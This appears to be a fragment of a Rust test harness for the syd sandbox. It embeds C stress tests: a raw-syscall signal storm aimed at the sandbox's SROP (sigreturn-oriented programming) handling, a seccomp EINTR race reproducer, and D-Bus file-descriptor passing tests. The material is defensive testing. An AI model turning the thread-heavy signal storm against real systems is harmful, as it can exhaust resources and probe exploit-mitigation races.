self.assertGreater(num_received_signals, 0)
self.assertLessEqual(num_received_signals, num_sent_signals)
finally:
do_stop = True
t.join()
if __name__ == "__main__":
unittest.main()
"##;
// C source for the aggressive SROP handler-toggle stress test.
const SROP_CODE_HANDLER_TOGGLE_C: &str = r#"
#define _GNU_SOURCE
#include <pthread.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdint.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>
#define N_WORKERS 256
#define N_FIRE 512
#define N_TOGGLE 256
#define N_MASK 32
#define STACK_BYTES (16 * 1024)
#define DURATION_SEC 3
#define N_SIGS 37
static const int SIGS[N_SIGS] = {
SIGHUP, SIGINT, SIGQUIT, SIGPIPE, SIGUSR1, SIGUSR2,
SIGTSTP, SIGTTIN, SIGTTOU, SIGURG, SIGXCPU, SIGXFSZ,
SIGVTALRM, SIGPROF, SIGWINCH, SIGIO, SIGPWR, SIGSYS,
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43,
44, 45, 46, 47, 48, 49, 50,
};
#define KSIG_SET_SIZE 8
struct ksig_act {
void (*handler)(int);
unsigned long flags;
void (*restorer)(void);
unsigned long mask;
};
static atomic_int stop_flag;
static atomic_uint ready_threads;
static pid_t worker_tids[N_WORKERS];
#define SA_RESTORER_FLAG 0x04000000
static void dummy_restorer(void) {
syscall(SYS_rt_sigreturn);
}
static void handler(int sig) {
(void)sig;
}
static inline long raw_kill(pid_t pid, int sig) {
long ret;
__asm__ __volatile__("syscall"
: "=a"(ret)
: "0"((long)SYS_kill), "D"((long)pid), "S"((long)sig)
: "rcx", "r11", "memory");
return ret;
}
static inline long raw_tgkill(pid_t tgid, pid_t tid, int sig) {
long ret;
register long r10 __asm__("r10") = (long)sig;
__asm__ __volatile__("syscall"
: "=a"(ret)
: "0"((long)SYS_tgkill), "D"((long)tgid), "S"((long)tid), "r"(r10)
: "rcx", "r11", "memory");
return ret;
}
static inline long raw_gettid(void) {
long ret;
__asm__ __volatile__("syscall"
: "=a"(ret)
: "0"((long)SYS_gettid)
: "rcx", "r11", "memory");
return ret;
}
static inline long raw_rt_sigaction(int sig, const struct ksig_act *act,
struct ksig_act *oact) {
long ret;
register long r10 __asm__("r10") = (long)KSIG_SET_SIZE;
__asm__ __volatile__("syscall"
: "=a"(ret)
: "0"((long)SYS_rt_sigaction), "D"((long)sig),
"S"((long)act), "d"((long)oact), "r"(r10)
: "rcx", "r11", "memory");
return ret;
}
static inline long raw_rt_sigprocmask(int how, const unsigned long *set,
unsigned long *oset) {
long ret;
register long r10 __asm__("r10") = (long)KSIG_SET_SIZE;
__asm__ __volatile__("syscall"
: "=a"(ret)
: "0"((long)SYS_rt_sigprocmask), "D"((long)how),
"S"((long)set), "d"((long)oset), "r"(r10)
: "rcx", "r11", "memory");
return ret;
}
static void *fire_thread(void *arg) {
pid_t tgid = (pid_t)(intptr_t)arg;
unsigned idx = 0;
atomic_fetch_add_explicit(&ready_threads, 1, memory_order_relaxed);
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
for (int i = 0; i < N_SIGS; i++) {
int sig = SIGS[i];
raw_kill(tgid, sig);
pid_t tid = worker_tids[idx & (N_WORKERS - 1)];
if (tid) raw_tgkill(tgid, tid, sig);
idx++;
}
}
return NULL;
}
static void *toggle_thread(void *arg) {
(void)arg;
struct ksig_act custom = {
.handler = handler,
.flags = SA_RESTORER_FLAG,
.restorer = dummy_restorer,
};
struct ksig_act ignore = {
.handler = (void (*)(int))SIG_IGN,
.flags = SA_RESTORER_FLAG,
.restorer = dummy_restorer,
};
atomic_fetch_add_explicit(&ready_threads, 1, memory_order_relaxed);
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
for (int i = 0; i < N_SIGS; i++) {
raw_rt_sigaction(SIGS[i], &custom, NULL);
raw_rt_sigaction(SIGS[i], &ignore, NULL);
}
}
return NULL;
}
static void *mask_thread(void *arg) {
(void)arg;
unsigned long all = ~0UL;
unsigned long none = 0UL;
atomic_fetch_add_explicit(&ready_threads, 1, memory_order_relaxed);
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
/* SIG_BLOCK = 0, SIG_UNBLOCK = 1 */
raw_rt_sigprocmask(0, &all, NULL);
raw_rt_sigprocmask(1, &none, NULL);
}
return NULL;
}
static void *tid_worker(void *arg) {
int slot = (int)(intptr_t)arg;
worker_tids[slot] = (pid_t)raw_gettid();
atomic_fetch_add_explicit(&ready_threads, 1, memory_order_relaxed);
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
/* Busy; offer a signal target but otherwise idle. */
__asm__ __volatile__("pause" ::: "memory");
}
return NULL;
}
int main(void) {
alarm(DURATION_SEC * 4);
struct ksig_act custom = {
.handler = handler,
.flags = SA_RESTORER_FLAG,
.restorer = dummy_restorer,
};
for (int i = 0; i < N_SIGS; i++) {
raw_rt_sigaction(SIGS[i], &custom, NULL);
}
pthread_attr_t attr;
if (pthread_attr_init(&attr) != 0) return 2;
if (pthread_attr_setstacksize(&attr, STACK_BYTES) != 0) return 2;
pid_t tgid = (pid_t)raw_gettid();
pthread_t workers[N_WORKERS];
for (int i = 0; i < N_WORKERS; i++) {
if (pthread_create(&workers[i], &attr, tid_worker,
(void *)(intptr_t)i) != 0) return 2;
}
/* Wait for TID publication. */
while (atomic_load_explicit(&ready_threads, memory_order_relaxed)
< (unsigned)N_WORKERS) {
__asm__ __volatile__("pause" ::: "memory");
}
pthread_t fire[N_FIRE];
pthread_t toggle[N_TOGGLE];
pthread_t mask[N_MASK];
for (int i = 0; i < N_FIRE; i++) {
if (pthread_create(&fire[i], &attr, fire_thread,
(void *)(intptr_t)tgid) != 0) return 2;
}
for (int i = 0; i < N_TOGGLE; i++) {
if (pthread_create(&toggle[i], &attr, toggle_thread, NULL) != 0) return 2;
}
for (int i = 0; i < N_MASK; i++) {
if (pthread_create(&mask[i], &attr, mask_thread, NULL) != 0) return 2;
}
sleep(DURATION_SEC);
atomic_store_explicit(&stop_flag, 1, memory_order_relaxed);
for (int i = 0; i < N_FIRE; i++) pthread_join(fire[i], NULL);
for (int i = 0; i < N_TOGGLE; i++) pthread_join(toggle[i], NULL);
for (int i = 0; i < N_MASK; i++) pthread_join(mask[i], NULL);
for (int i = 0; i < N_WORKERS; i++) pthread_join(workers[i], NULL);
pthread_attr_destroy(&attr);
return 0;
}
"#;
fn init_srop_handler_toggle() -> bool {
// Write the python3 code to a temporary file.
match File::create("srop-handler-toggle") {
Ok(mut file) => {
if let Err(e) = file.write_all(SROP_CODE_HANDLER_TOGGLE.as_bytes()) {
eprintln!("Failed to write to file srop-handler-toggle: {e}");
return false;
}
}
Err(e) => {
eprintln!("Failed to create file srop-handler-toggle: {e}");
return false;
}
}
if let Err(e) = syd::fs::chmod_x("./srop-handler-toggle") {
eprintln!("Failed to set srop-handler-toggle executable: {e}");
return false;
}
true
}
// Also available at dev/kill-eintr.c
fn build_kill_eintr() -> bool {
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > kill-eintr.c <<EOF
/*
* dev/kill-eintr.c: seccomp(2) race reproducer
* Copyright (c) 2025 Ali Polatel <alip@chesswob.org>
* Based in part upon python's test_signal.py
* Released under the same license as Python.
*/
#define _POSIX_C_SOURCE 200809L
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <time.h>
void handler(int signum) {}
void setsig(int signum)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = handler;
sa.sa_flags = 0;
sigemptyset(&sa.sa_mask);
if (sigaction(signum, &sa, NULL) == -1) {
perror("sigaction");
exit(EXIT_FAILURE);
}
}
int main(void)
{
const int N = 10000;
int i, save_errno;
pid_t pid = getpid();
setsig(SIGUSR2);
setsig(SIGALRM); // for ITIMER_REAL
struct itimerval it, old_it;
memset(&it, 0, sizeof(it));
it.it_value.tv_sec = 0;
it.it_value.tv_usec = 1; // 1us
printf("Starting stress test with %d iterations...\n", N);
for (i = 0; i < N; i++) {
it.it_value.tv_usec = 1 + (rand() % 10);
if (setitimer(ITIMER_REAL, &it, &old_it) == -1) {
save_errno = errno;
perror("setitimer");
exit(save_errno);
}
if (kill(pid, SIGUSR2) == -1) {
int save_errno = errno;
printf("kill failed at iteration %d: %d (%s)\n",
i, errno, strerror(errno));
exit(save_errno);
}
}
printf("Completed %d iterations without EINTR.\n", N);
return 0;
}
EOF
cc -Wall -Wextra kill-eintr.c -o kill-eintr
"##,
)
.status()
.expect("execute sh");
if !status.success() {
eprintln!("Compilation of kill-eintr failed with status: {status}");
false
} else {
true
}
}
fn build_dbus_fd() -> bool {
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > dbus_fd_server.c <<'EOF'
#include <gio/gio.h>
#include <gio/gunixfdlist.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
static const gchar introspection_xml[] =
"<node>"
" <interface name='org.example.Test'>"
" <method name='TestIn'>"
" <arg type='h' name='i' direction='in'/>"
" <arg type='h' name='j' direction='out'/>"
" <arg type='h' name='k' direction='out'/>"
" </method>"
" </interface>"
"</node>";
static GMainLoop *main_loop;
static GDBusNodeInfo *introspection_data;
static void
handle_method_call(GDBusConnection *conn,
const gchar *sender,
const gchar *object_path,
const gchar *interface_name,
const gchar *method_name,
GVariant *parameters,
GDBusMethodInvocation *invocation,
gpointer user_data)
{
(void)conn; (void)sender; (void)object_path;
(void)interface_name; (void)user_data;
if (g_strcmp0(method_name, "TestIn") != 0)
return;
GUnixFDList *fd_list_in = g_dbus_message_get_unix_fd_list(
g_dbus_method_invocation_get_message(invocation));
gint32 fd_idx;
g_variant_get(parameters, "(h)", &fd_idx);
GError *error = NULL;
gint fd_in = g_unix_fd_list_get(fd_list_in, fd_idx, &error);
g_assert_no_error(error);
/* Read and verify byte 42 from the received FD. */
guint8 buf[1];
ssize_t n = read(fd_in, buf, 1);
g_assert_cmpint(n, ==, 1);
g_assert_cmpuint(buf[0], ==, 42);
close(fd_in);
/* Create pipe j: write byte 23. */
int pipe_j[2];
g_assert(pipe(pipe_j) == 0);
buf[0] = 23;
g_assert(write(pipe_j[1], buf, 1) == 1);
close(pipe_j[1]);
/* Create pipe k: write byte 11. */
int pipe_k[2];
g_assert(pipe(pipe_k) == 0);
buf[0] = 11;
g_assert(write(pipe_k[1], buf, 1) == 1);
close(pipe_k[1]);
/* Return both read-end FDs via GUnixFDList. */
GUnixFDList *fd_list_out = g_unix_fd_list_new();
gint j_idx = g_unix_fd_list_append(fd_list_out, pipe_j[0], &error);
g_assert_no_error(error);
close(pipe_j[0]);
gint k_idx = g_unix_fd_list_append(fd_list_out, pipe_k[0], &error);
g_assert_no_error(error);
close(pipe_k[0]);
g_dbus_method_invocation_return_value_with_unix_fd_list(
invocation,
g_variant_new("(hh)", j_idx, k_idx),
fd_list_out);
g_object_unref(fd_list_out);
}
static const GDBusInterfaceVTable interface_vtable = {
handle_method_call, NULL, NULL
};
static void
on_child_exit(GPid pid, gint status, gpointer data)
{
(void)pid; (void)data;
g_assert(WIFEXITED(status) && WEXITSTATUS(status) == 0);
g_main_loop_quit(main_loop);
}
int main(int argc, char *argv[])
{
(void)argc; (void)argv;
GError *error = NULL;
introspection_data = g_dbus_node_info_new_for_xml(introspection_xml, &error);
g_assert_no_error(error);
GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SESSION, NULL, &error);
if (!conn) {
g_printerr("Server: unable to connect to session bus: %s\n",
error->message);
return 1;
}
g_dbus_connection_register_object(
conn, "/org/example/test",
introspection_data->interfaces[0],
&interface_vtable,
NULL, NULL, &error);
g_assert_no_error(error);
/* Request well-known name. */
GVariant *result = g_dbus_connection_call_sync(
conn,
"org.freedesktop.DBus",
"/org/freedesktop/DBus",
"org.freedesktop.DBus",
"RequestName",
g_variant_new("(su)", "org.example.Test", 0x4),
NULL, G_DBUS_CALL_FLAGS_NONE, -1, NULL, &error);
g_assert_no_error(error);
guint32 req;
g_variant_get(result, "(u)", &req);
g_assert_cmpuint(req, ==, 1);
g_variant_unref(result);
/* Spawn client. */
GPid client_pid;
gchar *client_argv[] = { "./dbus_fd_client", NULL };
g_spawn_async(NULL, client_argv, NULL,
G_SPAWN_DO_NOT_REAP_CHILD | G_SPAWN_SEARCH_PATH,
NULL, NULL, &client_pid, &error);
g_assert_no_error(error);
g_child_watch_add(client_pid, on_child_exit, NULL);
main_loop = g_main_loop_new(NULL, FALSE);
g_main_loop_run(main_loop);
g_main_loop_unref(main_loop);
g_dbus_node_info_unref(introspection_data);
g_object_unref(conn);
return 0;
}
EOF
cat > dbus_fd_client.c <<'EOF'
#include <gio/gio.h>
#include <gio/gunixfdlist.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
(void)argc; (void)argv;
GError *error = NULL;
GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SESSION, NULL, &error);
if (!conn) {
g_printerr("Client: unable to connect to session bus: %s\n",
error->message);
return 1;
}
/* Create pipe, write byte 42, close write-end. */
int pipe1[2];
g_assert(pipe(pipe1) == 0);
guint8 buf[1] = { 42 };
g_assert(write(pipe1[1], buf, 1) == 1);
close(pipe1[1]);
/* Build FD list with the read-end. */
GUnixFDList *fd_list_in = g_unix_fd_list_new();
gint fd_idx = g_unix_fd_list_append(fd_list_in, pipe1[0], &error);
g_assert_no_error(error);
close(pipe1[0]);
/* Call TestIn. */
GUnixFDList *fd_list_out = NULL;
GVariant *result = g_dbus_connection_call_with_unix_fd_list_sync(
conn,
"org.example.Test",
"/org/example/test",
"org.example.Test",
"TestIn",
g_variant_new("(h)", fd_idx),
G_VARIANT_TYPE("(hh)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
fd_list_in,
&fd_list_out,
NULL, &error);
if (!result) {
g_printerr("Client: TestIn call failed: %s\n", error->message);
return 1;
}
g_object_unref(fd_list_in);
/* Extract returned FD indices. */
gint32 j_idx, k_idx;
g_variant_get(result, "(hh)", &j_idx, &k_idx);
g_variant_unref(result);
gint fd_j = g_unix_fd_list_get(fd_list_out, j_idx, &error);
g_assert_no_error(error);
gint fd_k = g_unix_fd_list_get(fd_list_out, k_idx, &error);
g_assert_no_error(error);
g_object_unref(fd_list_out);
/* Read byte from j (should be 23). */
ssize_t n = read(fd_j, buf, 1);
g_assert_cmpint(n, ==, 1);
g_assert_cmpuint(buf[0], ==, 23);
close(fd_j);
/* Read byte from k (should be 11). */
n = read(fd_k, buf, 1);
g_assert_cmpint(n, ==, 1);
g_assert_cmpuint(buf[0], ==, 11);
close(fd_k);
g_object_unref(conn);
return 0;
}
EOF
CFLAGS=$(pkg-config --cflags gio-2.0 gio-unix-2.0)
LIBS=$(pkg-config --libs gio-2.0 gio-unix-2.0)
cc -Wall -Wextra $CFLAGS dbus_fd_server.c -o dbus_fd_server $LIBS
cc -Wall -Wextra $CFLAGS dbus_fd_client.c -o dbus_fd_client $LIBS
"##,
)
.status()
.expect("execute sh");
if !status.success() {
eprintln!("Compilation of dbus-fd failed with status: {status}");
false
} else {
true
}
}
fn build_dbus_fd_errors() -> bool {
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > dbus_fd_errors_server.c <<'EOF'
/* dbus_filedescriptor_errors_server.c generated by valac, the Vala compiler
* generated from dbus_filedescriptor_errors_server.vala, do not modify */
#include <glib-object.h>
#include <gio/gio.h>
#include <gio/gunixoutputstream.h>
#include <glib.h>
#include <string.h>
#include <gio/gunixfdlist.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <sys/types.h>
#if !defined(VALA_STRICT_C)
#if !defined(__clang__) && defined(__GNUC__) && (__GNUC__ >= 14)
#pragma GCC diagnostic warning "-Wincompatible-pointer-types"
#elif defined(__clang__) && (__clang_major__ >= 16)
#pragma clang diagnostic ignored "-Wincompatible-function-pointer-types"
#pragma clang diagnostic ignored "-Wincompatible-pointer-types"
#endif
#endif
#if !defined(VALA_EXTERN)
#if defined(_MSC_VER)
#define VALA_EXTERN __declspec(dllexport) extern
#elif __GNUC__ >= 4
#define VALA_EXTERN __attribute__((visibility("default"))) extern
#else
#define VALA_EXTERN extern
#endif
#endif
#define TYPE_TEST (test_get_type ())
#define TEST(obj) (G_TYPE_CHECK_INSTANCE_CAST ((obj), TYPE_TEST, Test))
#define TEST_CLASS(klass) (G_TYPE_CHECK_CLASS_CAST ((klass), TYPE_TEST, TestClass))
#define IS_TEST(obj) (G_TYPE_CHECK_INSTANCE_TYPE ((obj), TYPE_TEST))
#define IS_TEST_CLASS(klass) (G_TYPE_CHECK_CLASS_TYPE ((klass), TYPE_TEST))
#define TEST_GET_CLASS(obj) (G_TYPE_INSTANCE_GET_CLASS ((obj), TYPE_TEST, TestClass))
typedef struct _Test Test;
typedef struct _TestClass TestClass;
typedef struct _TestPrivate TestPrivate;
enum {
TEST_0_PROPERTY,
TEST_NUM_PROPERTIES
};
static GParamSpec* test_properties[TEST_NUM_PROPERTIES];
#define _g_object_unref0(var) ((var == NULL) ? NULL : (var = (g_object_unref (var), NULL)))
#define _g_variant_unref0(var) ((var == NULL) ? NULL : (var = (g_variant_unref (var), NULL)))
#define _g_main_loop_unref0(var) ((var == NULL) ? NULL : (var = (g_main_loop_unref (var), NULL)))
#define _vala_assert(expr, msg) if G_LIKELY (expr) ; else g_assertion_message_expr (G_LOG_DOMAIN, __FILE__, __LINE__, G_STRFUNC, msg);
#define _vala_return_if_fail(expr, msg) if G_LIKELY (expr) ; else { g_return_if_fail_warning (G_LOG_DOMAIN, G_STRFUNC, msg); return; }
#define _vala_return_val_if_fail(expr, msg, val) if G_LIKELY (expr) ; else { g_return_if_fail_warning (G_LOG_DOMAIN, G_STRFUNC, msg); return val; }
#define _vala_warn_if_fail(expr, msg) if G_LIKELY (expr) ; else g_warn_message (G_LOG_DOMAIN, __FILE__, __LINE__, G_STRFUNC, msg);
struct _Test {
GObject parent_instance;
TestPrivate * priv;
};
struct _TestClass {
GObjectClass parent_class;
};
static gpointer test_parent_class = NULL;
VALA_EXTERN GMainLoop* main_loop;
GMainLoop* main_loop = NULL;
VALA_EXTERN GType test_get_type (void) G_GNUC_CONST ;
G_DEFINE_AUTOPTR_CLEANUP_FUNC (Test, g_object_unref)
VALA_EXTERN guint test_register_object (void* object,
GDBusConnection* connection,
const gchar* path,
GError** error);
VALA_EXTERN void test_test (Test* self,
GUnixOutputStream* output_stream,
GError** error);
VALA_EXTERN Test* test_new (void);
VALA_EXTERN Test* test_construct (GType object_type);
static GType test_get_type_once (void);
static void _dbus_test_test (Test* self,
GVariant* _parameters_,
GDBusMethodInvocation* invocation);
static void test_dbus_interface_method_call (GDBusConnection* connection,
const gchar* sender,
const gchar* object_path,
const gchar* interface_name,
const gchar* method_name,
GVariant* parameters,
GDBusMethodInvocation* invocation,
gpointer user_data);
static GVariant* test_dbus_interface_get_property (GDBusConnection* connection,
const gchar* sender,
const gchar* object_path,
const gchar* interface_name,
const gchar* property_name,
GError** error,
gpointer user_data);
static gboolean test_dbus_interface_set_property (GDBusConnection* connection,
const gchar* sender,
const gchar* object_path,
const gchar* interface_name,
const gchar* property_name,
GVariant* value,
GError** error,
gpointer user_data);
static void _test_unregister_object (gpointer user_data);
VALA_EXTERN void client_exit (GPid pid,
gint status);
static void _vala_main (void);
static guint _variant_get1 (GVariant* value);
static void _client_exit_gchild_watch_func (GPid pid,
gint wait_status,
gpointer self);
static void _vala_array_destroy (gpointer array,
gssize array_length,
GDestroyNotify destroy_func);
static void _vala_array_free (gpointer array,
gssize array_length,
GDestroyNotify destroy_func);
static const GDBusArgInfo _test_dbus_arg_info_test_output_stream = {-1, "output_stream", "h", NULL};
static const GDBusArgInfo * const _test_dbus_arg_info_test_in[] = {&_test_dbus_arg_info_test_output_stream, NULL};
static const GDBusArgInfo * const _test_dbus_arg_info_test_out[] = {NULL};
static const GDBusMethodInfo _test_dbus_method_info_test = {-1, "Test", (GDBusArgInfo **) (&_test_dbus_arg_info_test_in), (GDBusArgInfo **) (&_test_dbus_arg_info_test_out), NULL};
static const GDBusMethodInfo * const _test_dbus_method_info[] = {&_test_dbus_method_info_test, NULL};
static const GDBusSignalInfo * const _test_dbus_signal_info[] = {NULL};
static const GDBusPropertyInfo * const _test_dbus_property_info[] = {NULL};
static const GDBusInterfaceInfo _test_dbus_interface_info = {-1, "org.example.Test", (GDBusMethodInfo **) (&_test_dbus_method_info), (GDBusSignalInfo **) (&_test_dbus_signal_info), (GDBusPropertyInfo **) (&_test_dbus_property_info), NULL};
static const GDBusInterfaceVTable _test_dbus_interface_vtable = {test_dbus_interface_method_call, test_dbus_interface_get_property, test_dbus_interface_set_property};
void
test_test (Test* self,
GUnixOutputStream* output_stream,
GError** error)
{
guint8* buffer = NULL;
guint8* _tmp0_;
gint buffer_length1;
gint _buffer_size_;
GError* _inner_error0_ = NULL;
g_return_if_fail (IS_TEST (self));
g_return_if_fail (G_TYPE_CHECK_INSTANCE_TYPE (output_stream, G_TYPE_UNIX_OUTPUT_STREAM));
_tmp0_ = g_new0 (guint8, 1);
buffer = _tmp0_;
buffer_length1 = 1;
_buffer_size_ = buffer_length1;
buffer[0] = (guint8) 42;
g_output_stream_write (G_TYPE_CHECK_INSTANCE_CAST (output_stream, g_output_stream_get_type (), GOutputStream), buffer, (gsize) buffer_length1, NULL, &_inner_error0_);
if (G_UNLIKELY (_inner_error0_ != NULL)) {
if (_inner_error0_->domain == G_IO_ERROR) {
g_propagate_error (error, _inner_error0_);
buffer = (g_free (buffer), NULL);
return;
} else {
buffer = (g_free (buffer), NULL);
g_critical ("file %s: line %d: uncaught error: %s (%s, %d)", __FILE__, __LINE__, _inner_error0_->message, g_quark_to_string (_inner_error0_->domain), _inner_error0_->code);
g_clear_error (&_inner_error0_);
return;
}
}
buffer = (g_free (buffer), NULL);
}
Test*
test_construct (GType object_type)
{
Test * self = NULL;
self = (Test*) g_object_new (object_type, NULL);
return self;
}
Test*
test_new (void)
{
return test_construct (TYPE_TEST);
}
static void
test_class_init (TestClass * klass,
gpointer klass_data)
{
test_parent_class = g_type_class_peek_parent (klass);
}
static void
test_instance_init (Test * self,
gpointer klass)
{
}
static GType
test_get_type_once (void)
{
static const GTypeInfo g_define_type_info = { sizeof (TestClass), (GBaseInitFunc) NULL, (GBaseFinalizeFunc) NULL, (GClassInitFunc) test_class_init, (GClassFinalizeFunc) NULL, NULL, sizeof (Test), 0, (GInstanceInitFunc) test_instance_init, NULL };
GType test_type_id;
test_type_id = g_type_register_static (G_TYPE_OBJECT, "Test", &g_define_type_info, 0);
g_type_set_qdata (test_type_id, g_quark_from_static_string ("vala-dbus-register-object"), (void*) test_register_object);
return test_type_id;
}
GType
test_get_type (void)
{
static volatile gsize test_type_id__once = 0;
if (g_once_init_enter (&test_type_id__once)) {
GType test_type_id;
test_type_id = test_get_type_once ();
g_once_init_leave (&test_type_id__once, test_type_id);
}
return test_type_id__once;
}
static void
_dbus_test_test (Test* self,
GVariant* _parameters_,
GDBusMethodInvocation* invocation)
{
GUnixFDList* _fd_list;
GError* error = NULL;
GVariantIter _arguments_iter;
gint _fd_index = 0;
gint _fd;
GUnixOutputStream* output_stream = NULL;
GDBusMessage* _reply_message = NULL;
GVariant* _reply;
GVariantBuilder _reply_builder;
g_variant_iter_init (&_arguments_iter, _parameters_);
_fd_list = g_dbus_message_get_unix_fd_list (g_dbus_method_invocation_get_message (invocation));
if (_fd_list) {
g_variant_iter_next (&_arguments_iter, "h", &_fd_index);
_fd = g_unix_fd_list_get (_fd_list, _fd_index, &error);
if (_fd >= 0) {
output_stream = (GUnixOutputStream *) g_unix_output_stream_new (_fd, TRUE);
}
} else {
g_set_error_literal (&error, G_IO_ERROR, G_IO_ERROR_FAILED, "FD List is NULL");
}
if (error) {
g_dbus_method_invocation_take_error (invocation, error);
goto _error;
}
test_test (self, output_stream, &error);
if (error) {
g_dbus_method_invocation_take_error (invocation, error);
goto _error;
}
_reply_message = g_dbus_message_new_method_reply (g_dbus_method_invocation_get_message (invocation));
g_variant_builder_init (&_reply_builder, G_VARIANT_TYPE_TUPLE);
_fd_list = g_unix_fd_list_new ();
_reply = g_variant_builder_end (&_reply_builder);
g_dbus_message_set_body (_reply_message, _reply);
g_dbus_message_set_unix_fd_list (_reply_message, _fd_list);
g_object_unref (_fd_list);
g_dbus_connection_send_message (g_dbus_method_invocation_get_connection (invocation), _reply_message, G_DBUS_SEND_MESSAGE_FLAGS_NONE, NULL, NULL);
g_object_unref (invocation);
g_object_unref (_reply_message);
_error:
_g_object_unref0 (output_stream);
;
}
static void
test_dbus_interface_method_call (GDBusConnection* connection,
const gchar* sender,
const gchar* object_path,
const gchar* interface_name,
const gchar* method_name,
GVariant* parameters,
GDBusMethodInvocation* invocation,
gpointer user_data)
{
gpointer* data;
gpointer object;
data = user_data;
object = data[0];
if (strcmp (method_name, "Test") == 0) {
_dbus_test_test (object, parameters, invocation);
} else {
g_object_unref (invocation);
}
}
static GVariant*
test_dbus_interface_get_property (GDBusConnection* connection,
const gchar* sender,
const gchar* object_path,
const gchar* interface_name,
const gchar* property_name,
GError** error,
gpointer user_data)
{
gpointer* data;
gpointer object;
data = user_data;
object = data[0];
return NULL;
}
static gboolean
test_dbus_interface_set_property (GDBusConnection* connection,
const gchar* sender,
const gchar* object_path,
const gchar* interface_name,
const gchar* property_name,
GVariant* value,
GError** error,
gpointer user_data)
{
gpointer* data;
gpointer object;
data = user_data;
object = data[0];
return FALSE;
}
guint
test_register_object (gpointer object,
GDBusConnection* connection,
const gchar* path,
GError** error)
{
guint result;
gpointer *data;
data = g_new (gpointer, 3);
data[0] = g_object_ref (object);
data[1] = g_object_ref (connection);
data[2] = g_strdup (path);
result = g_dbus_connection_register_object (connection, path, (GDBusInterfaceInfo *) (&_test_dbus_interface_info), &_test_dbus_interface_vtable, data, _test_unregister_object, error);
if (!result) {
return 0;
}
return result;
}
static void
_test_unregister_object (gpointer user_data)
{
gpointer* data;
data = user_data;
g_object_unref (data[0]);
g_object_unref (data[1]);
g_free (data[2]);
g_free (data);
}
void
client_exit (GPid pid,
gint status)
{
GMainLoop* _tmp0_;
_vala_assert (status == 0, "status == 0");
_tmp0_ = main_loop;
g_main_loop_quit (_tmp0_);
}
static guint
_variant_get1 (GVariant* value)
{
return g_variant_get_uint32 (value);
}
static void
_client_exit_gchild_watch_func (GPid pid,
gint wait_status,
gpointer self)
{
client_exit (pid, wait_status);
}
static void
_vala_main (void)
{
GDBusConnection* conn = NULL;
GDBusConnection* _tmp0_;
GDBusConnection* _tmp1_;
Test* _tmp2_;
Test* _tmp3_;
GVariant* request_result = NULL;
GDBusConnection* _tmp4_;
GVariant* _tmp5_;
GVariant* _tmp6_;
GVariant* _tmp7_;
GVariant* _tmp8_;
GVariant* _tmp9_;
GVariant* _tmp10_;
GVariant* _tmp11_;
guint _tmp12_;
GPid client_pid = 0;
gchar* _tmp13_;
gchar** _tmp14_;
gchar** _tmp15_;
gint _tmp15__length1;
GPid _tmp16_ = 0;
GMainLoop* _tmp17_;
gint fd = 0;
GMainLoop* _tmp18_;
GError* _inner_error0_ = NULL;
_tmp0_ = g_bus_get_sync (G_BUS_TYPE_SESSION, NULL, &_inner_error0_);
conn = _tmp0_;
if (G_UNLIKELY (_inner_error0_ != NULL)) {
g_critical ("file %s: line %d: uncaught error: %s (%s, %d)", __FILE__, __LINE__, _inner_error0_->message, g_quark_to_string (_inner_error0_->domain), _inner_error0_->code);
g_clear_error (&_inner_error0_);
return;
}
_tmp1_ = conn;
_tmp2_ = test_new ();
_tmp3_ = _tmp2_;
test_register_object (_tmp3_, _tmp1_, "/org/example/test", &_inner_error0_);
_g_object_unref0 (_tmp3_);
if (G_UNLIKELY (_inner_error0_ != NULL)) {
_g_object_unref0 (conn);
g_critical ("file %s: line %d: uncaught error: %s (%s, %d)", __FILE__, __LINE__, _inner_error0_->message, g_quark_to_string (_inner_error0_->domain), _inner_error0_->code);
g_clear_error (&_inner_error0_);
return;
}
_tmp4_ = conn;
_tmp5_ = g_variant_new ("(su)", "org.example.Test", 0x4, NULL);
g_variant_ref_sink (_tmp5_);
_tmp6_ = _tmp5_;
_tmp7_ = g_dbus_connection_call_sync (_tmp4_, "org.freedesktop.DBus", "/org/freedesktop/DBus", "org.freedesktop.DBus", "RequestName", _tmp6_, NULL, 0, -1, NULL, &_inner_error0_);
_tmp8_ = _tmp7_;
_g_variant_unref0 (_tmp6_);
request_result = _tmp8_;
if (G_UNLIKELY (_inner_error0_ != NULL)) {
_g_object_unref0 (conn);
g_critical ("file %s: line %d: uncaught error: %s (%s, %d)", __FILE__, __LINE__, _inner_error0_->message, g_quark_to_string (_inner_error0_->domain), _inner_error0_->code);
g_clear_error (&_inner_error0_);
return;
}
_tmp9_ = request_result;
_tmp10_ = g_variant_get_child_value (_tmp9_, (gsize) 0);
_tmp11_ = _tmp10_;
_tmp12_ = _variant_get1 (_tmp11_);
_vala_assert (_tmp12_ == ((guint) 1), "(uint) request_result.get_child_value (0) == 1");
_g_variant_unref0 (_tmp11_);
_tmp13_ = g_strdup ("./dbus_fd_errors_client");
_tmp14_ = g_new0 (gchar*, 1 + 1);
_tmp14_[0] = _tmp13_;
_tmp15_ = _tmp14_;
_tmp15__length1 = 1;
g_spawn_async (NULL, _tmp15_, NULL, G_SPAWN_DO_NOT_REAP_CHILD, NULL, NULL, &_tmp16_, &_inner_error0_);
client_pid = _tmp16_;
_tmp15_ = (_vala_array_free (_tmp15_, _tmp15__length1, (GDestroyNotify) g_free), NULL);
if (G_UNLIKELY (_inner_error0_ != NULL)) {
_g_variant_unref0 (request_result);
_g_object_unref0 (conn);
